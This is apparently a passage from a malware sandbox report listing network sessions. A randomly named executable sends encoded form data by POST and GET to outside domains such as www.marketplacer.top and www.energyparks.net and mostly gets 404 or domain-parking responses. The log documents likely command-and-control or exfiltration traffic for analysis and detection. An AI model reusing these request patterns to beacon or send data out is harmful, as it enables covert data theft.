Nov 7, 2024 10:50:50.922591925 CET	424	IN	Data Raw: 13 2f 11 d2 0d 6c e1 2a e4 29 2f 13 16 0e 2c 1c da 2f 7a 7e d2 c1 7d 7a f9 91 5d 8d 40 f1 8e d4 b2 42 7f aa d7 4e 89 c2 8f b7 2d 2a 82 da 6d be ef c0 51 27 0e 27 ab 62 b6 13 f5 8f 14 f6 f8 c1 da cc e0 bd 53 33 5f a7 b2 70 54 da f2 3a 0b e5 ec c8 Data Ascii: /l)/,/z~}z]@BN-mQ''bS3_pT:Hb\8;RxC0z+,:;iFdx8WAWr"i4+obMX6_yoR^/WEBMgn4o9++=X-0.=yY/>#)EF^Qg`oF~4Xu#
Nov 7, 2024 10:50:50.922602892 CET	646	IN	Data Raw: 5a f4 0d 61 59 9b 01 82 26 9b 53 8e 7c d3 5c 56 97 85 17 4c 55 e1 bb c3 f5 b9 0e 17 44 d9 0b 70 75 76 09 a3 60 b4 5c 1c a9 66 fc 41 ae 2e 42 81 ab ae 7c cd 15 5a f4 f5 cd 97 ac f3 5b 55 fb ec 07 36 7f af 6e 7e f8 41 bc 75 16 b6 60 6c e4 42 0d 2b Data Ascii: ZaY&S\|\VLUDpuv`\fA.B\|Z[U6n~Au`lB+K'IplZ,}/i# 7Zeq#wElBPj!WhW%' 7HBQhEd}l-G'f,3@4P_JOR1f-S_]7G!ih,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49172	194.58.112.174	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:50:52.585923910 CET	802	OUT	POST /xprp/ HTTP/1.1 Host: www.marketplacer.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.marketplacer.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.marketplacer.top/xprp/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 59 76 34 72 5a 41 4e 58 7a 58 79 69 39 76 76 45 57 72 4f 49 49 54 57 30 48 41 6c 47 41 78 73 32 61 6c 4d 41 56 59 6f 34 4b 71 7a 52 68 4b 49 54 55 5a 2b 33 76 43 51 6d 63 65 4f 46 7a 35 73 67 4f 43 61 64 77 49 73 31 78 5a 32 64 37 4f 45 45 5a 48 67 76 76 59 58 46 64 6a 65 77 44 39 77 6e 59 45 67 66 73 65 67 2b 76 2b 31 30 6f 6e 6f 52 70 4a 4c 32 46 4e 68 52 4c 2f 47 34 4a 41 34 4c 42 4c 64 35 49 39 39 65 48 44 4e 77 71 51 73 32 70 76 32 75 51 59 32 79 75 53 52 68 43 2f 46 53 52 55 57 52 38 74 2f 54 71 4f 46 4f 75 69 77 59 6a 63 67 31 42 70 62 79 71 32 54 4c 7a 39 64 77 70 51 3d 3d Data Ascii: mFptYb=Yv4rZANXzXyi9vvEWrOIITW0HAlGAxs2alMAVYo4KqzRhKITUZ+3vCQmceOFz5sgOCadwIs1xZ2d7OEEZHgvvYXFdjewD9wnYEgfseg+v+10onoRpJL2FNhRL/G4JA4LBLd5I99eHDNwqQs2pv2uQY2yuSRhC/FSRUWR8t/TqOFOuiwYjcg1Bpbyq2TLz9dwpQ==
Nov 7, 2024 10:50:53.461095095 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 07 Nov 2024 09:50:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 1d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a2 2f 14 fd 54 40 7e a8 51 fc 50 fe c2 f2 1f f5 dc 3b bb cb 25 45 ca 8f 38 45 05 48 22 67 67 ee dc b9 f7 dc 73 ef cc 6c fd 74 27 74 f5 78 a8 44 4f 0f fc 66 9d fe 0a d7 97 71 dc 28 79 71 4b 76 e4 50 7b 3b aa 24 7c 19 74 1b a5 68 54 42 1f 25 3b cd fa 40 69 29 dc 9e 8c 62 a5 1b a5 f7 2f fd c2 3a 87 67 dc 1a c8 81 6a 94 86 32 ea 7b 41 b7 24 dc 30 d0 2a 40 a7 48 75 a3 91 15 41 e6 6c cf 1d 4f ed 0e c3 48 17 ba ee 7a 1d dd 6b 74 d4 8e e7 2a 8b bf d4 bc c0 d3 9e f4 ad d8 95 be 6a ac 42 84 f6 b4 af 9a bb bb bb f6 00 73 29 3d f4 a5 ab 22 5b 87 c3 ba 63 9e d5 7d 2f e8 8b 48 f9 8d 52 ac c7 be 8a 7b 4a 61 9a 81 ea 78 b2 51 92 be 5f 12 bd 48 6d e7 ca b2 72 96 1c e9 d0 76 e3 18 53 4c c7 7b 58 46 d6 7b 5b 42 af 30 b0 f1 67 7d b5 24 c8 7e 30 d7 40 76 95 73 c5 e2 8e cd 7a ec 46 de 50 37 9d 33 f5 d3 9b [TRUNCATED] Data Ascii: d1cZko_1fQRERy8G9-E!rJm4bh@/T@~QP;%E8EH"ggslt'txDOfq(yqKvP{;$\|thTB%;@i)b/:gj2{A$0@HuAlOHzktjBs)="[c}/HR{JaxQ_HmrvSL{XF{[B0g}$~0@vszFP73o^\|gS^wmIeG4(pSBRa"\|tomkr\_EQ=X8r x%HoY/GZAEc;mk_Ekh6Sm^jHLb,j&oQr<w#\|N>C%w}z\|w%h:m"fXi=/8F`]P%8ZT<KAj#P4=hrf:tUFBS8[N^kk=uV:?iuj9XL%[mvA1B}UoG+}p3&.[v{uChi>~pjZ@~iv8 b(;rGmB/vr'E"5i(rU#S5I!$z)p3utrjYAB9 \|\JzPAY'/4;@L>M&Mn~e(ab8$&n"tR\,}oCQMRA [TRUNCATED]
Nov 7, 2024 10:50:53.461122990 CET	1236	IN	Data Raw: a0 d3 8f f4 7d 3a eb d4 fd 05 82 f5 2d d4 55 5d 2f 68 f9 6a 5b 5b 26 b6 31 a1 8e c2 a0 fb 64 a7 80 8d 01 77 97 92 d9 3f 81 5e 64 2e 98 f7 71 72 0f 38 63 09 33 3c 3b 1f bc c6 38 f1 a8 6d 5c 9e 6b d2 0e c1 78 03 e4 ca 40 41 ee 9f 91 01 ef 4f 7e 8f Data Ascii: }:-U]/hj[[&1dw?^d.qr8c3<;8m\kx@AO~y<2^zgI\w@)9s@JQL7]]<d%f8> `pr`Ln-Y`.O1`e!U@/rbaa6v=r{Vt<nX1-
Nov 7, 2024 10:50:53.461134911 CET	424	IN	Data Raw: 13 2f 11 d2 0d 6c e1 2a e4 29 2f 13 16 0e 2c 1c da 2f 7a 7e d2 c1 7d 7a f9 91 5d 8d 40 f1 8e d4 b2 42 7f aa d7 4e 89 c2 8f b7 2d 2a 82 da 6d be ef c0 51 27 0e 27 ab 62 b6 13 f5 8f 14 f6 f8 c1 da cc e0 bd 53 33 5f a7 b2 70 54 da f2 3a 0b e5 ec c8 Data Ascii: /l)/,/z~}z]@BN-mQ''bS3_pT:Hb\8;RxC0z+,:;iFdx8WAWr"i4+obMX6_yoR^/WEBMgn4o9++=X-0.=yY/>#)EF^Qg`oF~4Xu#
Nov 7, 2024 10:50:53.461173058 CET	646	IN	Data Raw: 5a f4 0d 61 59 9b 01 82 26 9b 53 8e 7c d3 5c 56 97 85 17 4c 55 e1 bb c3 f5 b9 0e 17 44 d9 0b 70 75 76 09 a3 60 b4 5c 1c a9 66 fc 41 ae 2e 42 81 ab ae 7c cd 15 5a f4 f5 cd 97 ac f3 5b 55 fb ec 07 36 7f af 6e 7e f8 41 bc 75 16 b6 60 6c e4 42 0d 2b Data Ascii: ZaY&S\|\VLUDpuv`\fA.B\|Z[U6n~Au`lB+K'IplZ,}/i# 7Zeq#wElBPj!WhW%' 7HBQhEd}l-G'f,3@4P_JOR1f-S_]7G!ih,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49173	194.58.112.174	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:50:55.128864050 CET	2472	OUT	POST /xprp/ HTTP/1.1 Host: www.marketplacer.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.marketplacer.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.marketplacer.top/xprp/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 59 76 34 72 5a 41 4e 58 7a 58 79 69 38 50 66 45 51 49 6d 49 44 54 57 31 43 41 6c 47 4f 68 73 79 61 6c 51 41 56 5a 38 6f 4b 34 66 52 67 62 59 54 61 62 6d 33 74 43 51 6d 61 65 4f 42 75 4a 74 68 4f 43 50 6d 77 4a 63 6c 78 66 47 64 71 64 73 45 66 45 49 6f 67 49 58 39 5a 6a 65 7a 44 39 78 6c 59 45 77 68 73 65 55 41 76 2b 74 30 6f 53 63 52 76 35 4c 35 41 4e 68 52 4c 2f 47 4f 4a 41 34 7a 42 4c 46 68 49 38 6c 4f 41 79 39 77 72 30 34 32 6f 49 43 78 57 59 32 32 6a 79 51 59 52 74 41 5a 63 47 43 67 79 39 47 77 71 66 4a 64 6b 53 4d 74 68 61 63 41 4f 4a 61 63 6f 7a 65 38 36 2f 39 36 35 6f 51 6c 68 43 4c 79 7a 6e 61 4e 55 6c 33 7a 57 69 4a 35 42 31 6f 36 6f 65 62 6d 68 6e 52 68 61 6e 75 31 72 65 66 47 77 4a 32 75 72 4f 39 6a 66 4e 51 34 35 6c 45 51 2b 6a 33 46 54 44 38 77 66 77 33 59 72 50 4d 2f 68 30 56 37 6f 39 70 64 78 55 6b 49 79 49 6d 36 79 4d 6c 30 4a 62 68 71 49 67 67 2f 56 6b 76 35 38 35 37 4e 73 6c 7a 6a 34 77 47 32 34 63 66 68 41 30 56 48 35 6f 4c 41 44 32 4c 38 57 6d 31 55 7a 63 72 [TRUNCATED] Data Ascii: mFptYb=Yv4rZANXzXyi8PfEQImIDTW1CAlGOhsyalQAVZ8oK4fRgbYTabm3tCQmaeOBuJthOCPmwJclxfGdqdsEfEIogIX9ZjezD9xlYEwhseUAv+t0oScRv5L5ANhRL/GOJA4zBLFhI8lOAy9wr042oICxWY22jyQYRtAZcGCgy9GwqfJdkSMthacAOJacoze86/965oQlhCLyznaNUl3zWiJ5B1o6oebmhnRhanu1refGwJ2urO9jfNQ45lEQ+j3FTD8wfw3YrPM/h0V7o9pdxUkIyIm6yMl0JbhqIgg/Vkv5857Nslzj4wG24cfhA0VH5oLAD2L8Wm1UzcrY2j4LTTWIONKmPdKl0f4FZO24bbBSPtZnx0UDdWiMNkDt4fEHsSkfPTmQ9EJ7G7rIQuz7MKvkLS+C4uDS5tvPLGg8L7YJO0CVv96MY3PKVA0yol4K0L3XA6vkqjZFq18B7+dAFUQ6qhqwNHi76tOREyBOgdXLSYAV60SxRWXkmHvUjfsE5qIcT1l7CMWiFXqvfFWnpkbJhvtdJhrkZvydhq75yGXdQobVvvqQy9rLBjHwIPGL0pQ39RN5r4TyR8rA+XPt2RU6P6LV6jvO9rIZgqVo3OsKn5Yg4AjdYjOgIhwKi9Y2fBbs03//xS1qOW6XwmgjgXi4UUH4HsvXMRi/8yo3gRDFlN4yC+4bVZ3BwwLsiN3W+1QInOKDB0l4PnglFsePJ2sfQCQQfuzaFThXzM/lYd6YuwCg9y4IfKoUAylPEyQU0IrkwkkSbWoHsNwsR+fitBMSWUX45Kwh0hra4NZGezzm0HpTeXUB5XEZIx+e5r9atHEy1qHG1Q9XcRTUBK1VsPXUYnMi7QNy7dBxEATdXSPp2R5FrhAEIcySk5vc+khasUt6VIDOKsmqm8FoarPKiPcnaQGiugEQayX6y19jwhQoTHIvY1bzUz2jpbs9CqTWCf3OccYtXWRrKr6NpMP1HxpMlk4mjYCZO4sUAnwwxlA5bFuvv [TRUNCATED]
Nov 7, 2024 10:50:55.134155989 CET	1755	OUT	Data Raw: 76 79 6d 78 77 75 75 52 6c 35 49 61 50 73 68 39 4e 30 6b 6f 6d 4c 4b 73 61 7a 63 39 74 6b 2b 33 66 57 35 64 4f 39 32 61 39 6c 73 5a 2f 5a 54 7a 45 74 6e 74 64 66 64 4b 51 64 47 5a 33 69 56 70 54 4e 4c 4e 6e 6b 70 70 2f 73 74 47 4a 79 78 66 44 43 Data Ascii: vymxwuuRl5IaPsh9N0komLKsazc9tk+3fW5dO92a9lsZ/ZTzEtntdfdKQdGZ3iVpTNLNnkpp/stGJyxfDCdLsWXXjN62PACW0vvcTG2Q2wXhKLVDrqiWHsU06hZ1XTy2guijPaK5ZDhlnJaol9PCf17AB8PyTvHlXfU3DIsQ8MLcYnSs5bEneDXQZ7TXUPzmAGvoHEJE46n8nAbf/JGaPop4tOeNl+wRjVSFCRGr0JKlWvY3jGV
Nov 7, 2024 10:50:56.010493994 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 07 Nov 2024 09:50:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 1d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a2 2f 14 fd 54 40 7e a8 51 fc 50 fe c2 f2 1f f5 dc 3b bb cb 25 45 ca 8f 38 45 05 48 22 67 67 ee dc b9 f7 dc 73 ef cc 6c fd 74 27 74 f5 78 a8 44 4f 0f fc 66 9d fe 0a d7 97 71 dc 28 79 71 4b 76 e4 50 7b 3b aa 24 7c 19 74 1b a5 68 54 42 1f 25 3b cd fa 40 69 29 dc 9e 8c 62 a5 1b a5 f7 2f fd c2 3a 87 67 dc 1a c8 81 6a 94 86 32 ea 7b 41 b7 24 dc 30 d0 2a 40 a7 48 75 a3 91 15 41 e6 6c cf 1d 4f ed 0e c3 48 17 ba ee 7a 1d dd 6b 74 d4 8e e7 2a 8b bf d4 bc c0 d3 9e f4 ad d8 95 be 6a ac 42 84 f6 b4 af 9a bb bb bb f6 00 73 29 3d f4 a5 ab 22 5b 87 c3 ba 63 9e d5 7d 2f e8 8b 48 f9 8d 52 ac c7 be 8a 7b 4a 61 9a 81 ea 78 b2 51 92 be 5f 12 bd 48 6d e7 ca b2 72 96 1c e9 d0 76 e3 18 53 4c c7 7b 58 46 d6 7b 5b 42 af 30 b0 f1 67 7d b5 24 c8 7e 30 d7 40 76 95 73 c5 e2 8e cd 7a ec 46 de 50 37 9d 33 f5 d3 9b [TRUNCATED] Data Ascii: d1cZko_1fQRERy8G9-E!rJm4bh@/T@~QP;%E8EH"ggslt'txDOfq(yqKvP{;$\|thTB%;@i)b/:gj2{A$0@HuAlOHzktjBs)="[c}/HR{JaxQ_HmrvSL{XF{[B0g}$~0@vszFP73o^\|gS^wmIeG4(pSBRa"\|tomkr\_EQ=X8r x%HoY/GZAEc;mk_Ekh6Sm^jHLb,j&oQr<w#\|N>C%w}z\|w%h:m"fXi=/8F`]P%8ZT<KAj#P4=hrf:tUFBS8[N^kk=uV:?iuj9XL%[mvA1B}UoG+}p3&.[v{uChi>~pjZ@~iv8 b(;rGmB/vr'E"5i(rU#S5I!$z)p3utrjYAB9 \|\JzPAY'/4;@L>M&Mn~e(ab8$&n"tR\,}oCQMRA [TRUNCATED]
Nov 7, 2024 10:50:56.010521889 CET	1236	IN	Data Raw: a0 d3 8f f4 7d 3a eb d4 fd 05 82 f5 2d d4 55 5d 2f 68 f9 6a 5b 5b 26 b6 31 a1 8e c2 a0 fb 64 a7 80 8d 01 77 97 92 d9 3f 81 5e 64 2e 98 f7 71 72 0f 38 63 09 33 3c 3b 1f bc c6 38 f1 a8 6d 5c 9e 6b d2 0e c1 78 03 e4 ca 40 41 ee 9f 91 01 ef 4f 7e 8f Data Ascii: }:-U]/hj[[&1dw?^d.qr8c3<;8m\kx@AO~y<2^zgI\w@)9s@JQL7]]<d%f8> `pr`Ln-Y`.O1`e!U@/rbaa6v=r{Vt<nX1-
Nov 7, 2024 10:50:56.010534048 CET	1070	IN	Data Raw: 13 2f 11 d2 0d 6c e1 2a e4 29 2f 13 16 0e 2c 1c da 2f 7a 7e d2 c1 7d 7a f9 91 5d 8d 40 f1 8e d4 b2 42 7f aa d7 4e 89 c2 8f b7 2d 2a 82 da 6d be ef c0 51 27 0e 27 ab 62 b6 13 f5 8f 14 f6 f8 c1 da cc e0 bd 53 33 5f a7 b2 70 54 da f2 3a 0b e5 ec c8 Data Ascii: /l)/,/z~}z]@BN-mQ''bS3_pT:Hb\8;RxC0z+,:;iFdx8WAWr"i4+obMX6_yoR^/WEBMgn4o9++=X-0.=yY/>#)EF^Qg`oF~4Xu#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49174	194.58.112.174	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:50:57.667145967 CET	534	OUT	GET /xprp/?mFptYb=VtQLa3osnF7akoTJd4GrPXLEITF5D20FSH4Ha68GLubc/osER9eykAEgUNChz5U0fhCRjr86/53OttkDG1sp/tuoYRmADukdDHAerdJ8reArgzR0s5PIA9lSC6/k&Vta=nFypuDtholF HTTP/1.1 Host: www.marketplacer.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:50:58.540420055 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 07 Nov 2024 09:50:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 32 34 66 63 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 6c 61 6e 67 3d 22 72 75 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 70 61 72 6b 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 72 65 67 72 75 2d 72 64 61 70 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 77 77 77 2e 6d 61 72 6b 65 74 70 6c 61 63 65 72 2e 74 6f 70 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 22 20 74 79 70 65 3d 22 69 [TRUNCATED] Data Ascii: 24fc<!doctype html><html class="is_adaptive" lang="ru"><head><meta charset="UTF-8"><meta name="parking" content="regru-rdap"><meta name="viewport" content="width=device-width,initial-scale=1"><title>www.marketplacer.top</title><link rel="stylesheet" media="all" href="parking-rdap-auto.css"><link rel="icon" href="favicon.ico?1" type="image/x-icon"><script>/<![CDATA[/window.trackScriptLoad = function(){};/.../</script><script onload="window.trackScriptLoad('/manifest.js')" onerror="window.trackScriptLoad('/manifest.js', 1)" src="/manifest.js" charset="utf-8"></script><script onload="window.trackScriptLoad('/head-scripts.js')" onerror="window.trackScriptLoad('/head-scripts.js', 1)" src="/head-scripts.js" charset="utf-8"></script></head><body class="b-page b-page_type_parking b-parking b-parking_bg_light"><header class="b-parking__header b-parking__header_type_rdap"><div class="b-parking__header-note b-text">  <a class="b-link" href="https://reg. [TRUNCATED]
Nov 7, 2024 10:50:58.540811062 CET	212	IN	Data Raw: 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 20 62 2d 70 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 5f 73 74 79 6c 65 5f 69 6e 64 65 6e 74 20 62 2d 70 61 67 65 5f Data Ascii: v><div class="b-page__content-wrapper b-page__content-wrapper_style_indent b-page__content-wrapper_type_hosting-static"><div class="b-parking__header-content"><h1 class="b-parking__header-title">www.marketplacer.
Nov 7, 2024 10:50:58.540837049 CET	1236	IN	Data Raw: 74 6f 70 3c 2f 68 31 3e 3c 70 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 2d 64 65 73 63 72 69 70 74 69 6f 6e 20 62 2d 74 65 78 74 22 3e d0 94 d0 be d0 bc d0 b5 d0 bd 20 d0 b7 d0 b0 d1 80 d0 b5 d0 b3 d0 b8 d1 81 d1 Data Ascii: top</h1><p class="b-parking__header-description b-text"> <br>   .</p><div class="b-parking__buttons-wrapper"><a class="b-button b-button_color_reference b-bu
Nov 7, 2024 10:50:58.540878057 CET	1236	IN	Data Raw: 6d 61 67 65 20 62 2d 70 61 72 6b 69 6e 67 5f 5f 70 72 6f 6d 6f 2d 69 6d 61 67 65 5f 74 79 70 65 5f 68 6f 73 74 69 6e 67 22 3e 3c 2f 73 70 61 6e 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 2d 6d 61 72 67 69 6e 5f 6c 65 66 74 2d 6c 61 72 67 65 22 3e Data Ascii: mage b-parking__promo-image_type_hosting"></span><div class="l-margin_left-large"><strong class="b-title b-title_size_large-compact"></strong><p class="b-text b-parking__promo-subtitle l-margin_bottom-none"> &nb
Nov 7, 2024 10:50:58.540889025 CET	1236	IN	Data Raw: 69 6e 67 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 67 2e 72 75 2f 68 6f 73 74 69 6e 67 2f 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 77 77 77 2e 6d 61 72 6b 65 74 70 6c 61 63 65 72 2e 74 6f 70 26 75 74 6d 5f 6d 65 64 69 75 6d 3d Data Ascii: ing" href="https://www.reg.ru/hosting/?utm_source=www.marketplacer.top&utm_medium=parking&utm_campaign=s_land_host&reg_source=parking_auto"> </a><p class="b-price b-parking__price"> <b class="b-price__amount
Nov 7, 2024 10:50:58.540900946 CET	1236	IN	Data Raw: 63 6f 6d 70 61 63 74 22 3e d0 9a d0 be d0 bd d1 81 d1 82 d1 80 d1 83 d0 ba d1 82 d0 be d1 80 20 d1 81 d0 b0 d0 b9 d1 82 d0 be d0 b2 3c 2f 73 74 72 6f 6e 67 3e 3c 70 20 63 6c 61 73 73 3d 22 62 2d 74 65 78 74 20 62 2d 70 61 72 6b 69 6e 67 5f 5f 70 Data Ascii: compact"> </strong><p class="b-text b-parking__promo-description">     </p><a class="b-button b
Nov 7, 2024 10:50:58.541099072 CET	1236	IN	Data Raw: 74 74 6f 6d 2d 6e 6f 6e 65 40 64 65 73 6b 74 6f 70 22 3e d0 a3 d1 81 d1 82 d0 b0 d0 bd d0 be d0 b2 d0 b8 d1 82 d0 b5 20 d0 b1 d0 b5 d1 81 d0 bf d0 bb d0 b0 d1 82 d0 bd d1 8b d0 b9 20 53 53 4c 2d d1 81 d0 b5 d1 80 d1 82 d0 b8 d1 84 d0 b8 d0 ba d0 Data Ascii: ttom-none@desktop"> SSL-    ! ,
Nov 7, 2024 10:50:58.541110992 CET	1236	IN	Data Raw: 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 68 65 61 64 20 20 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 3b Data Ascii: eElement('script'); var head = document.getElementsByTagName('head')[0]; script.src = 'https://parking.reg.ru/script/get_domain_data?domain_name=www.marketplacer.top&rand=' + Math.random() + '&callback=ondata'; script
Nov 7, 2024 10:50:58.541122913 CET	767	IN	Data Raw: 74 72 69 6b 61 20 63 6f 75 6e 74 65 72 20 2d 2d 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 66 75 6e 63 74 69 6f 6e 28 6d 2c 65 2c 74 2c 72 2c 69 2c 6b 2c 61 29 7b 6d 5b 69 5d 3d 6d 5b 69 5d Data Ascii: trika counter --><script type="text/javascript">(function(m,e,t,r,i,k,a){m[i]=m[i]\|\|function(){(m[i].a=m[i].a\|\|[]).push(arguments)}; m[i].l=1*new Date(); for (var j = 0; j < document.scripts.length; j++) {if (document.scripts[j].src ===

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49175	15.197.148.33	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:03.955749035 CET	2472	OUT	POST /k47i/ HTTP/1.1 Host: www.energyparks.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.energyparks.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.energyparks.net/k47i/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 77 6d 5a 6b 62 6f 6a 33 32 68 4c 4e 31 70 6a 6c 4c 77 73 65 66 2b 72 50 71 31 71 65 63 53 42 44 65 39 47 47 75 33 45 75 5a 31 4a 2b 76 4d 45 44 2b 38 4f 7a 32 67 37 50 6e 44 31 30 50 45 30 6e 7a 71 45 51 52 54 47 6b 78 4c 74 4a 7a 65 61 56 67 39 31 79 63 4d 70 6a 70 67 64 45 76 77 52 4b 39 44 46 64 2b 35 51 55 71 65 4d 32 76 67 31 35 4f 47 37 53 79 31 64 5a 76 51 6f 6c 41 56 64 41 51 76 67 39 73 42 4b 6c 76 6a 78 4f 30 62 63 35 6d 34 6a 44 57 57 44 45 2f 77 69 69 62 58 4b 64 4b 59 56 68 5a 76 70 55 4a 41 59 31 48 6a 49 4d 5a 7a 47 63 38 45 5a 36 4a 35 77 39 6a 79 74 72 63 2f 77 59 72 71 50 78 74 59 37 69 4b 33 6e 4f 70 61 72 32 74 30 79 2b 76 4c 74 77 77 51 71 2f 6c 46 52 43 4f 50 73 61 49 46 6f 38 6c 44 36 2b 64 65 2f 76 64 31 67 44 62 78 2b 35 77 41 45 53 62 31 54 71 55 6d 46 51 6e 2f 4b 70 46 6f 46 64 70 4f 39 32 4e 30 73 32 77 31 46 51 55 5a 70 31 6e 48 76 73 4f 31 58 34 37 76 52 55 53 63 78 55 66 33 71 53 51 32 51 59 4a 45 6c 70 64 58 69 44 77 47 57 62 34 33 51 76 6c 49 6f [TRUNCATED] Data Ascii: 